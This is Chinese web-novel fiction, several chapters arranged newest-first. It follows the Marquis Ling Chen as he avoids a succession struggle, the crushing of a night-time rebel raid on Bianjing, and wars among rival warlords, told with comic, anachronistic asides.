青柠走出房间后,文初坐在了凌晨旁边的椅子上,望着室内温馨简单的家居陈设和屋外阳光明媚的花园苗圃,被整的有些不会了,一时间不知道该说些什么。 恍惚了一会,他这才转过弯来,笑着和凌晨扯起了蛋。 “在下听说凌兄曾两度救得父亲性命,更是在群狼环伺中保下大哥和登哥,武艺超群,世所罕见。今日前来,既是一表身为人子的谢意,也是想得见高颜,能够攀交。” 凌晨听后笑了笑,摆着手说道: “嗐~世人常道我两度扶危主,却不知是为了一念答……太尉,当初我不过是个营后小卒,身卑位低。是太尉不嫌弃我出身寒微,提拔重用,后来更是引为子侄。君使臣以礼,臣事君以忠,本该如此,何言相谢~” 哦~ 文初听得频频点头,原来是这么回事。 可那也不对啊……武艺高强的部下比比皆是,肯为父亲以身挡剑的亲卫也不在少数,是什么让母亲觉得眼前这个和自己一般大的年轻人,能够和杜尚书、舅舅比肩的? “在下听说凌兄以前是颍川府的乡军团练,那一定参加过当年的赵世中围攻汴京城的守城战吧?” “嗯,是的,当时我差点就被吓尿了。我就是靠着妻兄乡军校尉的身份混了个官职,从来没想到有一天真的会打仗。那段时间我天天躲在家里,用枕头蒙着脑袋瑟瑟发抖。那可是十四万反贼,十四万啊!唉……” “……” 文初已经能想象到画面了。 “那……那战后又因何辞官归野呢?汴京城盛传凌兄清傲,不与人交。在下冒昧一问,凌兄勿要见怪,不知这是为何?” 凌晨很没有风范的瘫在椅子上说道:“因为心虚哇!我就是个混日子的,运气好沾了别人的光,虚有几分功名。可当我真正坐到那个位置,才发现事物繁冗纷杂,根本应付不过来。 才不配位,迟早会出事,给自己和国家带来不可挽回的损失,还不如早早摘去。再说了,我现在吃着侯爵的俸禄,日子还不错。现在就等着生个儿子,让他去悬梁刺股,沾他的光了~” “……” 嘶…… 文初越聊就越觉得离谱,这位临颍侯的观点和言论,总能让他感到意外,有种说不出的颓感。 这样的人,父亲纵使信任,怕也不会器重。没有实权和助益,只有交情和往来,貌似也不过如此…… 这么一想,文初已经在心里将凌晨打为了低价值交往对象,许是母亲看走眼了也说不定。 可他不知道,对方要的就是这种效果。只要我没用,就没有人能利用我。 不是凌晨瞧不起这位二公子,实在是他的政治嗅觉太迟钝了。 傻孩子,我不是你哥的人,而是你爹的人。 你大哥都不敢和我讨论以后的打算,也就一起喝喝酒嫖嫖娼,用你嫂子曲线招揽。你胆子可真大,一上来就问我为什么要辞官。我要是不及时堵住话题,你不会还要为我空老林泉而感到惋惜,劝我出仕吧? 眼下正是你爹的事业上升期,要是让他知道你这么爱才,会怎么想? 醒一醒啊喂!你已经不是江淮节度使的二公子了,你是中原霸主的次子、事实上的二皇子啊! 你现在的行为,是在拔老虎的胡须,就算这老虎是你爹,那也是老虎呐! 到现在都没明白过来天家无情、帝心难测的道理,谁特么敢跟你玩?你以为自己是在跟世子抢资源呢?你是在跟郑王抢资源! 而且,你背后站着的还是河北大族,他们才刚跟你爹打完仗,现在转头又支持你,你是真心大啊~ 夜深人静的时候,你爹有没有遐想过他们裹挟着你弑君称帝的画面,只有天知道。 谁教你这么勤快的?是嫌你离家这些年没怎么挨过七匹狼吗? 收了神通吧~活爹! 事实上,凌晨的模棱两可并不是个例,在此之前,文初还去拜访了杜宣和周行舟,那俩人精也是同样的态度。 他们都很热情,但仅限于热情。 这位二公子自身条件还是不错的,但思维还停留在大家族的宅斗层面,完全跟不上版本更新,回去给家里连上WiFi再来吧~ 这个时候,不争,才是争。 当然,最安全的办法,是真的不争。 第87章 继承者们 汴京骚乱危机解除后,真正的幕后黑手迎来了文训更猛烈的报复。攻克潞州后,文训分兵出击,将整个河东府治下的州县全部收入囊中。 然后,他马不停蹄的再次集合人马挥师北上,在武乡县和孙芝的晋阳军主力相遇,双方在连绵不绝的山林谷底中多次展开激战。 中原军队虽然人数众多,但大都是平原地区的人,有些还是江淮水乡的,对环境和气候不是特别适应。再加上包括文训在内的主要将领大多数都对山地作战指挥欠佳,因此在和孙芝的对战中无法取得压倒性优势,局势胶着了起来。 和晋阳军不同,中原军队远道而来,携带的粮草是有时限性的,如果半个月内还不能击败孙芝,进入晋中盆地获得补充,就只能班师回朝了。 因为河东府的地形并不是很平坦,再加上他们深入太行腹地,一两万人的粮草还能勉强补给上,再多就费劲了。 而指挥东路军的李继贤也在最初的高歌猛进之后,迎来了晋阳军猛将安容的顽强阻击。这个名字听起来娘们唧唧的家伙,硬是凭借着山川天险,用一万良莠不齐的人马挡住了五万大军。 顺带一提,这家伙还是大舅哥当年在晋阳军任职时的同袍呢,两人私交不错,上次大舅哥成亲,他还送来过贺礼。 这种公私分明、行事坦荡的人确实招人稀罕,但也不得不承认,在战争中跟他对上,是真的难缠! 李继贤作为独领一军的高级将领,军事能力和作战经验肯定是深得文训和其他朝臣认可的,要不然他也不可能统领得了东路军将士。 可现在却被安容硬生生的按住,无法再前进一步。 福无双至,祸不单行。人倒霉了喝口凉水都塞牙,就在北伐陷入僵局的时候,另一个糟糕的消息传来——蜀、唐两国罢兵言和了。 打了这么久,这俩谁也奈何不了谁。 孟玄不可能实现他心中“跨有荆益,保其岩阻,西和诸戎,南抚夷越”的战略构想了,蜀地的国力和经济不支持他和唐国再继续这么耗下去。 李雄想要彻底把这位年轻气盛的君主赶出楚地势力范围也不可能,随着中原越来越稳定,他再不积攒点家底喘口气,怎么抵挡迟早会到来的南征? 于是双方代表在安远县签订了互不侵犯条约,江陵、郎州、钜州及其西部地区归蜀国,以东地区归唐国,但蜀国在楚地的驻军不得超过三万人,不能在现有的基础上再加造战船。 这样一来,文训就不得不结束北征了。唐国作为当今天下排名前三的大势力,还是要认真应对的,唐皇李雄也确实有几分刘寄奴的影子,不能大意。 于是,在继续尝试了半个月依旧不能得胜、粮草开始紧张后,文训逼迫孙芝去掉皇帝尊号,改称晋阳节度使,并割让潞州以南的一半河东府州县,留给他作为随时入晋的跳板,以此为条件换来了中原撤兵。 然后,稀里糊涂打了好几年仗的大家这才发现一件尴尬的事—— 大周还在,皇帝没了。 周朝皇室宗族都在孙芝手里,可现在他打死也不立新帝了,你们谁想拥立新皇帝,就把这群王爷郡公们接到你们的地盘上去,路费我出。 韩珏和文训当然也不想要,他们的地盘都已经趋于稳定,不需要吉祥物了,谁特么会闲着没事给自己找个爹回来供着? 此情此景,和某位喜欢抄家的大帝面临的情景很像,他就是因为决策失误,才给自己接回来个小明王。 于是大家沉默了,都装起了聋子、当起了瞎子。既然BUG能运行……那就先这么着吧~ 什么?申屠明光为什么不接过去? 你知道云中府在哪里吗? 中原王朝的皇帝,住到漠南草原,这能行吗? 你去那里干嘛?北狩啊? 再说了,你有没有考虑过草原可汗们的感受? 五月底,韩珏和文训几乎是同时昭告天下,一个自立为关中王,一个自立为郑王。 说实话,凌晨有点膈应,总觉得应该是宋王才对。但文若起家的地点并不在宋州,他也没有任何理由去莫名其妙的让他改昵称,更何况郑公是周广德封的,具有传承性和法理性。 不过凌晨现在也没空去纠结这种鸡毛蒜皮的小事了,因为另一个与他有点关系的事情摆在了面前。 文训立了文若为世子,这是无可争议的。 韩珏立了韩登为世子后,一向和平稳定的关中平原突然冒出来许多流寇和山贼。 看来这逆子回家后,没能展现出龙王归来该有的气势啊~ 还没等他思索出该如何给韩登支点招,教他怎么收拾不听话的弟弟呢,弟弟就找上门了。 不过,不是韩登的弟弟。 是文若的弟弟、文训的二儿子,素未谋面也无甚交集的文初。 当他的脚踏进院门的那一刻,凌晨就知道,麻烦上门了。 文训和文夫人共育有四个子女,长子文若,次子文初,三女文鸯,幼女文瑶。 当然了,老文也不是死板的人,还有两个妾室,她们也都生下了孩子,但那些都非正室所生,没有给凌晨介绍认识过。 其他三个孩子都是承欢膝下,只有次子文初,不在父母身边。 大周先帝活着的时候,还是有点威望的,当年的六大节度使都被迫派出家中嫡子入京为质。 虽然都是做人质,但待遇和要求也是不同的。韩珏实力最强,接下来是应开疆和孙芝,所以他们必须派长子入京,待遇也相对宽松。就像韩登,只要不回家,大周随便浪,可以跟蒙多一样想去哪就去哪。 文训、宋舒和申屠明光那时候还比较老实,兵力地盘也不如前三位,所以就允许他们派次子入京。 而这位二公子就是在这样的背景下,去邺城留学的。 在经过一番洗脑教育后,朝廷把他分配到冀州府做了府衙丛书,也算是有份正经工作,不再是社会闲散人员了。 可是最后应开疆反了,冀州府战火连天,作为江淮节度使的嫡子,他当然也受到了应开疆的重点翻找。 但在冀州热心人士、大族赵家的帮助和保护下,他不仅没有被抓去砍头,还迎娶了赵家的嫡小姐为妻,和岳家关系极好。 那么,赵家为什么要顶着灭族的风险,帮助落魄的文初呢?甚至连宝贝女儿都嫁给了他。 要理清其中的真相,我们需要先翻开史书,对比一些有趣的东西。 武王姬发拔出宝剑,凤出岐山的那一年,命运的齿轮开始转动。 秦VS六国, 刘邦VS项羽、秦末诸王, 西汉VS七国之乱, 新朝王莽VS东汉刘秀 董卓VS讨董联盟, 西晋皇室VS八王之乱。 卸下固有印象的滤镜,擦去朝代更迭的迷雾,你会发现:前面的一部分,全部都是关陇地区的代表,后面的一部分,全部都是函谷关以东其他地区的代表。 较量从来没有停止,只是不断的更换脸谱。 而随着生产力的发展和增强,神州大地上的主演也不再仅仅是这两位老演员。江南地区和长江中下游平原在东吴和东晋的经营下,在衣冠南渡的混乱中,敏锐的抓住机遇,逐渐具备了正式上场的资格。 最具代表性的事件就是刘裕北伐,它和项羽、刘邦攻入咸阳不同,两者有着本质上的区别。 “想当年,金戈铁马,气吞万里如虎!” 相比之下,蜀地就稍逊一筹,可由于其得天独厚的地理条件,同样也达到了对中原王朝输出C语言的客观条件。想征服东西二川?先统一北方吧你~~统一了再来跟我狗叫。 时间来到南北朝时期: 前秦VS东晋, 北魏VS南朝, 西魏VS东魏VS南朝, 北周VS北齐VS南朝, 隋VS南朝, 隋VS隋末群雄, 唐VS王世充、窦建德VS江南诸镇。 版本更新到这里后,出现了全新的DLC—— 李世民VS李建成、李元吉, 长孙无忌VS武则天, 唐VS安禄山。 忽略代表人物之间的联系,你会发现,主角依然没有变过。 这种情况一直持续到宋朝,才发生了根本性的变化。在接下来的几百年里,曾经的主角变成配角,曾经的配角变成了主角。 南宋VS金国, 南宋VS大元, 大明VS大元, 朱允炆VS朱棣。 朝代可以变,皇帝可以变,但基本盘是变不了的。 再后来,从萧燕燕开始,经过辽、金、元、明四朝长期的民族融合后,一位来自白山黑水之间的全新角色,在一声巨响中闪亮登场。 后金VS大明, 大清VS南明, 大清VS三藩, 大清VS太平天国, 老佛爷VS东南互保, 袁世凯VS孙文, 张作霖VS中原军阀VS蒋介石。 这个时候,又有一位靓仔凭借着科学发展带来的交通便利,在风云际会的国际化浪潮下,从流放犯人的不毛之地,渐渐变成了可以和前辈们同台演出的后起之秀。 “万里归来颜愈少,微笑,笑时犹带梅岭香。” 对了,还有一位不像主角的主角,全程陪跑了两千年。 现在再回到正题,相信大家已经明白赵家为什么要对文二公子这么好了吧? 应开疆VS大周, 应开疆VS文训, 下一个版本,就该是文初VS文若了。 所以凌晨是真的不想跟这位二公子有任何交集,这里面的情况太复杂了,根本不是他能玩的转的。 而且争储这事可不是闹着玩的,一个不小心就会灰飞烟灭,连渣都不剩。哪怕是有动耳神功,也碰不得这玩意。 所以,凌晨还不等他开口说话,就毫无征兆的将两只眼睛挤成了斗鸡眼,一手比六一手比七,嘴巴一歪,化身村里人吴老二。 “阿巴……阿巴阿巴……” 第86章 火起 三通鼓声回荡在炊烟袅袅的汴京上空,空气中飘浮着一股柴火的味道。城墙上的旗帜被晚风吹动,轻轻摇摆。 暮色起,夕阳斜,天欲晚。 是夜,一轮新月被浮云遮蔽,惊飞枝头乌鹊。 万家灯火被分割在一块块坊街内,星罗棋布,巡逻士兵手持兵器,列队行走在空荡静谧的街道。偶尔能碰到一两个打更的,敲着梆子报时。 陶小四今年二十二,已经做了四年更夫。今天,他也像往常一样提着吃饭家伙就出门了。春夜稍冷,报完时辰后就可以回来继续睡大觉,下一个时辰是别人的事。 本来打更规定是两个人搭档,一起去报时。但那是规定,规定是死的,人是活的。 燃香到了时辰,他去一次,下个时辰搭档去一次,这样一来两个人就都能轮换着休息,多眯一会。 工作是官府的,身体是自己的。 左手举着火把,提着梆子,游走在已经走过了无数遍的北城天街,陶小四用力的敲击出节奏,一快两慢—— “笃~~笃笃~~” “平安无事~” “笃~~笃笃~~” “三更天喽~” 一圈巡到最后,陶小四忍不住打了个哈欠,打完后两眼惺忪,浑身舒畅。 他举起右手,准备报最后一段路的时。 就在这时,鼻子里传来一股木头被烧着的气息,还夹杂着麦秆的焦味,他疑惑的转过身,环顾四周。 紧接着,他的瞳孔猛然放大,里面是熊熊烈火。 就在他刚走过的坊墙里,明黄色的火光亮了起来,隐约还能看到黑烟。 “笃笃笃笃!!!” “走水啦!走水啦!” 陶小四连忙猛烈敲击着梆子,高声呼喊着示警! 下一刻,喊声戛然而止,他的脖子仿佛被人掐住了一般,发不出声音。 原本空无一人的大街上,突然从巷子里跑出几十个手持利刃的蒙面人,还扛着梯子。 他们根本没空去管目瞪口呆的陶小四,将梯子搭在坊墙上后,其中一个黑衣人快速爬了上去,站在墙顶,又在同伴的帮助下把另一家梯子拽过墙,立在另一边。 用同样的方法搭了三处梯子后,这群人一个接一个,纷纷顺着爬进了坊内。 当陶小四从震惊反应过来时,街道两旁、远处的坊墙内已经大火冲天了,还伴随着惨叫声和喊杀声! 正在睡觉的冯延被急促的敲门声喊醒,他连忙掀开被子翻身下床,还好他最近一直都是和衣而睡,这才没有耽误多少时间。 听到手下的报告后,冯延冷哼一声,一边派侯明带当值官兵和差役前去镇压,一边派人联络城门守军。另外通知城外大营的薛定,准备进京平叛。 由于提前就做好了准备,所以城中坊内并没有表现的太过慌张,没有遭受攻击的人家在听到叫喊后立刻召集家丁护院、坊内青壮组织防御。 而已经遭到攻击的地区也没有乱,奋力和贼人抗击周旋。只要坚持一会,卫戍军和官兵就会赶到,到时候这帮人一个也跑不了! 杨柳巷、开封府衙、皇城、太尉府、柳南坊、以及其他政治、经济重区都遭到了歹人的突然袭击,从各地汇报上来的情况推断分析,这次闹事的人起码在千人以上。 汴京城官兵、差役、各营卫戍军齐出,直奔事发地点。斥候巡城,游街高喊:所有人不得出门,居家避凶,有违令者格杀勿论! 城门守军刀出鞘、箭上弦,不许任何闲杂人进出。东门打开,城门守将亲自立在门口,将薛定的骑兵放进城内平叛,铁蹄隆隆,马儿的嘶鸣声划破夜空。 战斗最激烈的地方,黑衣人趁夜行凶,到处都是刀剑碰撞的铮鸣,许多人围在一起撞击富商、官员府邸大门,也有人爬墙进入,见人就杀,挥刀乱砍! 而被袭击的人家也早有准备,护院家丁们举着枪棒棍铁,拼命与贼人互相搏斗厮杀。武将亲自举着大刀藤盾,文官立在后方高喝指挥,身后就是父母妻儿,没有退路! 没多久,京郊大营的骑兵就赶到了事发地点,身披甲胄的骑兵举起长刀迎头就砍,挺枪便刺。他们得到的命令很简单,不留活口。 抓你或许还得费点功夫,杀你还不简单?哥们就是干这个的。 恶战一直持续到凌晨才结束,整个汴京城的大街、坊内和大户人家的庭院里到处都是尸体,血流成河。 干完活的骑兵在确定没有危险之后,收工出城回营。接下来该是差役和皂吏们出来洗地了。 袭击叛乱过去才一天,由吕齐主笔,加急出版的汴京时报就已经新鲜出炉了。 时报上刊登了大大的图画,画上的骑兵威武高大、神情冷峻,坐下的马儿肌肉隆起、扬蹄腾空,将军队那该死的魅力展现的淋漓尽致,让人安全感满满! 被他们踏在蹄下的贼人蒙着面罩,表情慌张、或跪或趴,还有一些正在逃跑,模样猥琐、看起来胆怯害怕,身材长相也很夸张,要么尖嘴猴腮,要么肚皮滚圆。 这么一对比,哪怕是不识字的人,也能一眼分辨出谁是好人谁是坏蛋。 文章中大力赞颂了这次军民齐心,粉碎了奸贼歹人妄图破坏汴京人民安定生活的团结举动,以鱼水关系比喻军民情深,该观点深得那些被救百姓的认同和夸奖。 另外,时报以严厉的措辞贬斥了这些歹人贼心不死,妄图用武力制造混乱,以谋求自己的不法利益、达到不可告人的目的。是错误的、低劣的、缺乏群众基础和道德依据的。 你不会以为死了就没事了吧? 汴京时报会把你们死死的钉在耻辱柱上,遭天下人唾骂! 喽啰固然可恨,但他们背后的支持者则更加该死!汴京时报的主编号召大家主动向官府汇报消息,检举揭发。务必齐心协力将这些藏在百姓和官员之中的害群之马、祸汤老鼠揪出来,要让这些在阴暗中爬行的臭虫暴露到阳光下,受到冯府尹最严厉的审判! 听说他最近推出了全新的“三口铡刀”活动,有狗头、虎头、龙头三种不同的款式,总有一款适合你。 “冀州留京观察使蔡兴、淮北处置使程许良,深受朝廷信任、太尉厚恩,委以机要重任。 然,二人不思报效朝廷、忘却圣人之言,竟敢与反贼孙芝暗通曲款,纠集盗匪、逃兵、水贼、闲散无赖,于前日子时纵火行凶,悍然袭击朝廷官员府邸、残忍杀害无辜百姓平民,现已被捉拿下狱,交由有司论审! 另有青州人卢尘、沧州商贾刘问舍、紫烟坊坊正杨莫争等二十七人,知情不报、隐匿贼寇、助纣为虐、为虎作伥。于贼人作乱期间提供住宿、衣食、消息,现已被府衙捉拿归案,待蔡、程二人定罪之后,一同惩治!” 在舆论的导向下,开封府衙聚集了大量百姓和士绅,纷纷要求将这些人绑到菜市口,也不要砍他们的头,就绑在那里放着,晒死、饿死、渴死都行,反正就是别轻易死。 民意汹涌,伐声滔天。 三天后,文若到达京城。 在他的主持下,汴京东门外的护城河边,人头滚滚。血水将草地和护城河都染成了红色,隔着老远都能闻到一股血腥扑鼻的味道。 而蔡、程两名贼首,被高杆吊在了菜市口,被动参与到“人若不吃不喝,能有几天可活”的医学实验中去。 现场布置了官兵维持秩序,防止那些在这场动乱中失去亲人和朋友的百姓把他们打死,还汇集了许多从城里各坊、太医院赶来的郎中,纷纷利用这难得的机会近距离观察二贼的气色变化,好在日后的望闻问切中积累到足够的经验。 政治斗争,无论多么残酷和激烈,都应该在规则的框架里进行。如果你不守规矩,那就别怪大家不给你留面子。 政治这个东西,说复杂也复杂,说简单也简单,就是比谁朋友多,比谁能团结更多的人,要不然怎么会有“办公室政治”这种论调? 你有钱、有权、有影响力,大家都愿意跟你,听你的指挥和安排,那是你的本事。你的社会地位和官职自然也会变高,甚至可以高到做皇帝。 斗争并没有什么错,也不用遮遮掩掩,有位老人曾经说过:斗争是真正实现团结的手段,要敢于斗争,善于斗争,而最顶级的斗争,是能够团结你的敌人,把你的敌人变成你的朋友。 所以,河北四府的官员们在兵败归降后依旧能够在新的朝廷效力,其中有不少还得到了重用,吕齐和他大伯就是最好的例子。 要知道,他们全家可都是应开疆的老乡。 所以,没有什么不可能。 但你无差别的袭击全体士绅百姓,为了门户私计擅自夺人性命,妄图搞颠覆,破坏当下来之不易的、稳定的生产生活,这就是你的不对了。 要是这都能让你偷成功,那我们摸爬滚打、苦心经营一辈子,甚至是几代人,算怎么回事? 更何况这次叛乱水平也不咋地,不知道集中力量办实事,挑重点目标下手。完全就是在瞎搞一通,单纯的为了制造混乱而制造混乱,可以说是又蠢又坏。 既然愿赌,就要服输。 第85章 春愁 魏序第一个反应过来,急忙奔上前去,将惊魂未定的女儿拉到身前,满脸担忧的上下打量着询问道:“娴儿!你没事吧?” 魏家小姐紧紧抓住父亲的官服,朝着他委屈的摇了摇头后,伸出手背擦去下巴上的泪珠,发丝微乱的看向将尸体交给军士的凌晨,脸上带着一股后怕。 还有感激、疑惑、好奇、惊讶…… 魏序见到女儿没事,这才放下心来。长出了一口气后,他转过身疑惑不解的看向凌晨:“阁下是……” “既然你诚心诚意的发问了,那我就大发慈悲的告诉你吧!为了防止世界被破坏,为了保护世界的和平,贯彻爱与真实的正义,帅气又迷人的美男子……” “邦!” “哎呀!!” 在场之人又是一阵心惊肉跳!因为他们看到那位不知何时出现、貌似是将“飞天螳螂”当场诛杀的少年人,竟然被府尹大人毫无征兆的拍了一巴掌,正在上蹿下跳的狂摸后脑勺。 揪着凌晨的胳膊将他扯到魏序跟前后,冯延尽量让自己不去想凌晨刚才单手叉腰、伸手向前竖着两个指头的奇葩动作。还“大发慈悲”的告诉人家,还“美男子”,真是丢死人了! 咳咳两声后,他平复心绪,略带得意的向魏序介绍道:“这是临颍侯凌晨,过去曾是老夫的部下。” “哦……哦!” 魏序也是缓了半天才转过弯来,惊奇的打量着眼前的少年。这位就是传闻中两度将太尉从鬼门关拉回来、神龙见首不见尾的临颍侯吗? 冯延斜眼瞥向凌晨:“还不快拜见魏大人?” 我拜你…… 算了,大庭广众的。 “小侯见过尚书大人~” 见到凌晨一本正经的朝自己行官礼后,魏序见状连忙正好衣冠,也朝着凌晨行平礼。 事实上,以凌晨的爵位,是完全不需要向魏序行礼的,但冯延明显是想让礼部尚书承凌晨的人情,这种时候只能客套认识一下。 反正对方年纪大,也算当得起,就当给长辈行礼了。 魏序也不敢端着,别看对方年纪不大,也没有什么官职和实权,但是账能这么算吗?太尉夫人也没有官职,谁敢跟她比划一下子? 那边那个江洋大盗的尸体还热乎着呢,这年轻人一看就是武艺高强的。更何况对方刚救了自己的女儿,这里还有这么多人看着,不管是为了里子还是面子,都得向对方严肃还礼。 “娴儿,快来谢过恩人~” 理清楚眼前的情况后,魏娴心中的恐惧和后怕这才消退了点。当她听到爹爹召唤自己,立刻怯怯的走上前来,双手搭在右侧,恭敬的向凌晨躬身道福道:“魏娴多谢恩公搭救之恩。” 凌晨随意的摆摆手:“客气客气,路见不平一声吼,该出……” 余光察觉到冯延又朝着自己看来,凌晨无奈的扭过头去,背着冯延暗暗白了一眼,敷衍的朝魏娴虚扶道:“小姐客气了,不过是举手之劳。不过往后出门记得多带几个家丁,以防不测。” “你什么时候钻到里面去的?官兵方才明明将这里围的水泄不通。” “就在大人你跟魏大人吵架那会~” …… 短暂的尴尬过后,魏序十分欣赏的看着凌晨说道:“侯爷从歹人手中救下小女性命,恩同再造。不知何时能够拨冗?老夫想在家中略备薄酒,聊表谢意。” 凌晨双手摆在胸前,边退边说道:“不了不了,小姐无恙便好。小侯不过是一闲汉,怎敢烦劳大人设宴款待?我还有些琐事,先行一步。” 说罢,他也不等魏序再开口,转身就揪着侯明的袖子往外走去,人群纷纷让开道路,目瞪口呆之余,议论纷纷: “不是……那谁啊?尚书大人的宴请都敢推辞!!” “刚才隐约听见是什么临侯……” “耳朵没用就摘了去,方才明明听的是临颍侯。” “他就是临颍侯啊!哎,我可是听人说,这临颍侯少与官员权贵往来,可是汴京城有名的孤直公呢~原以为是个性情古怪的老头子,没想到竟如此年轻!” “哎呦……” 感慨唏嘘的不止是周围的军士和百姓们,魏序和魏娴也是非常意外。 很少会有人如此直白的拒绝一部尚书的结交之意,无论是上官还是草民。哪怕是文训,也不能做到不在乎。 “他一贯如此,天天没个正形,不懂礼数,有方兄莫与小儿一般见识。”冯延无奈,只得给凌晨擦屁股。 “呵呵~到底是年轻人啊,老夫挺喜欢他这性子,洒脱不羁,直来直去。”魏序捋着胡须望向凌晨远去的背影,面带微笑。 对方不过是跳脱了些,年轻人都这样,静不下心,这何足挂齿?如果自己连这点肚量都没有,怎么能坐到礼部头把交椅呢? 紧紧依偎在父亲身边的魏娴,望着凌晨消失的方向,表情怔怔出神。 她见过各种各样的世家公子,但凌晨这种,还真是生平第一次遇见。 谈笑自若,来去如风,每一步都在她的意料之外。 回到府衙监牢的土场上后,侯明兴奋的给凌晨倒上一杯酒解渴: “侯爷真是好手段呐!我都没发现你什么时候跟去的,更别说进那店里了。连大人都感到棘手的事情,没想到侯爷就这么悄无声息、轻轻松松的给解决了!真是厉害呀!” 虽然明知道是彩虹屁,可这话听着怎么就这么舒服呢? 不行不行,要谦虚。 “哪里哪里?我这不过是些雕虫小技,上不得台面。我老家还有个更厉害的,人们都叫他饵总,那才是真牛逼咧~” “饵……总?” 侯明闻言后疑惑的挠了挠头,这是浑号还是姓名? 还不等他反应过来,凌晨就已经重新起身,开始往自己眼上蒙黑布了。 “那个谁,去,有请下一位追梦人~” —— 时光如梭,刚刚步入四月,已经被韩珑、吴尚南北夹击到疲惫不堪的孙芝,终于迎来了本关最终BOOS。文训亲自领兵攻打壶关,驻扎在真定府的李继贤也在同一时间进入太行山,锋指晋阳城。 孙芝的外交努力成功了一半,夏国派兵南下,又来找韩珏叙旧。韩珏派凤翔留后韩登率兵北上迎敌,青柠从韩意那里听说了此事后,立刻叽叽喳喳的说与凌晨听。 一想到那二货领兵打仗的模样,凌晨就忍不住想笑,韩珏肯定给儿子安排了得力副将,韩登大概率就是挂个名头。 韩少查案确实有两下子,狎妓也挺有经验,至于行军打仗么…… 他会打个屁的仗,好好跟着人家学吧,还差得远呢~ 蜀、唐两国赶走了孙芝的使者,让他们哪来的滚哪去。弑君的名头顶在脑袋上,还想让我们支援你?你疯了? 不派兵攻打你,只停留在道德层面谴责你就已经很不错了。这要是支援了你,万一手底下的人哪天反我了怎么办?我还怎么站在道德高地号召大家讨伐他? 况且,哥们也没空。 南方的情况远比北方复杂,无论是孙芝、文训、应开疆,他们在名义上都是属于大周。百姓们接受统治的归属感还是很强的,只要打败了敌方军队,剩下的就是恢复生产秩序。 可蜀、唐不同,百年割据下来,大家压根就不认为和对方是同一个国家的人。西蜀的豆腐脑是加盐的,江南的豆腐脑是加糖的,士可忍,孰不可忍! 所以明明是同时开启,北方的战争能够迅速分出胜负,而南方的战争却陷入了焦灼状态。 孙芝眼见已经到了山穷水尽的地步,叹了一晚上的气,决心干脆玩把大的—— 称帝! 大周靖安三年四月初五,晋王孙芝省略了加九锡赐节钺之类的繁琐步骤。直接在晋阳城内筑三层禅让台,在文武百官和百姓们的见证下,接受监国、梁王、大周宗亲周元昭的禅让,登基称帝。 国号“晋”,建元“兴国”。 是的,他接受的不是前朝皇帝的禅让,而是前朝宗室代表的禅让,所谓名不正言不顺,大抵就是如此了。 晋帝陛下称帝的本意是为了鼓舞人心,让晋阳三府的豪绅、百姓、士兵们能够打起精神来,依托天险节节阻击,将这波雷劫渡过去。 孙芝能这么干,并不是冲昏了头破罐子破摔,而是在生死危机的笼罩下,作出的最优解。 唯一能从关中平原直达汾河平原的韩珏被夏国掣肘,因为担心首尾不能相顾,已经停止了攻击转为防守。关中军短时间内肯定不敢深入河东腹地,韩珏一向沉稳,不会兵行险招。 而北边的吴尚也不用担心,云中骁骑极善野战,弓术和近战都是一等一的好手,所以才能和弓马娴熟的草原部落打的有来有回。 毫不夸张的说,在平原上摆开阵势,八千云中军完全可以和三万中原步卒正面较量。 但这里是河东。 吕梁山和太行山对于他们来说就是两道不可逾越的天险,更不要说北部纵横交错的连绵山脉。只要在紧要关隘处架起强弓劲弩,龟缩不出,他们就没有任何办法。 所以,现在真正的威胁只剩下两个—— 一个是翻过太行山,包围了平定县的李继贤,另一个是攻破壶关、兵临潞州城下的文训。 六万晋阳军,对战十一万中原军队。 当然了,一向擅于剑走偏锋的孙芝也不会让文训能够安心作战,他派了许多细作和杀手前往中原,开始组织联络一些对文训不满的贵族士绅,暗中谋划起来。 一张看不见的大网,渐渐悬浮在了汴京城的上空。 文训出征在外的日子里,主持后方大局的是汴京三人小组,他们分别是吏部尚书孟宣、京兆尹冯延,以及左武卫马军都部署薛定。 文若已经将襄樊的军务交给了其他将领,正在飞奔回京的路上。 孟宣是老熟人,当初凌晨还是江淮军亲卫的时侯,二人就见过面,那时的他还是寿春知府。此人和文训同属江淮势力阵营,因为根本利益是相同的,所以一直都是支持文训的坚定盟友。 老文击败应开疆一统中原后,立刻就表奏他为吏部尚书,妥妥的二号人物。 薛定是江淮军的重要将领,同样也是文训的心腹爱将,有能力,有威望,还忠心。此次出征,文训也是放心的让他暂掌京城附近诸路兵马,直到文若回京。 冯延自不必说,在开封府,他有着一呼百应的号召能力,颍川士族和百姓们唯他马首是瞻。 有这三个人留守京城,定能无虞。 但凌晨近来越发觉得有些不对劲,陈啸在开封府周围发现了很多形迹可疑的外地客商。这本没有什么稀奇,可他们运送的货物里夹杂着刀剑,有些甚至还藏有硬弓和羽箭。 虽然劫下了他们,但有没有漏网之鱼涌入汴京城,谁也不知道。 崔赦也在和凌晨闲聊时提起,最近临颍县通往汴京的水旱两路都发生了劫盗事件,还让凌晨问问陈啸是怎么回事,查查是不是他手底下的人瞒着大哥出来接私活。 在得到陈啸否定的答复后,凌晨连忙找上冯延,向他反应了这一情况,提醒他要严加防范,小心孙芝耍阴招。 冯延和孟宣、薛定聚在一起合计了一下,决定在文训得胜之前,暂时先恢复汴京城里的宵禁制度。 晚上戌时过后,没有官府的手书批文,任何人不得在街上行走。每一个坊都被封闭成独立的单元,如有临盆、生病等急事,也只能去自己坊内的医馆。 敢在城中主街晃悠,或者在夜里梁上飞瓦,轻则入狱羁押,重则当场格杀。 另外,府衙在官绅内部透露消息,向他们发出警告,到了夜里要防范歹人作乱,让自己的护院家丁都打起精神来。还要注意,最近不要把外地亲戚和陌生人带进家里,以免祸起萧墙。 尤其是杨柳巷这类官员权贵的聚居地,朝廷直接派兵保护,在坊内、四周都布置了兵卒,太尉府更是调遣了江淮军精锐驻扎在附近。 各坊各区实行责任制,哪怕全汴京城都乱套了,你也别管,你只要负责好你这一块就行。 在这种多事之秋,大舅哥又跟随文训出征在外,凌晨索性就把陆婉云接回了望云镇,让她和青柠一同居住。 望云镇远离风暴中心,又有护庄队驻扎,要比京城安全的多。 望着庭院里凋零的梨花,凌晨有些春深新愁,什么时候,才能太平无忧啊…… 第84章 当街行凶 如果你最近觉得自己压力有点大,可以去晋阳城,拜访一下被周广德抽走腰刀的那位军爷,和他谈谈心。 你会发现,都不是个事儿。 大周皇帝于晋阳行宫暴崩的消息一经传出,整个天下为之震惊,舆论一片哗然!! 头疼的不止是孙芝,其他三大势力的老大同样一脸抓马。 韩珏正在忙着处理内务,申屠明光还在跟敕勒部相爱相杀,文训只想好好韬光养晦,厉兵秣马。 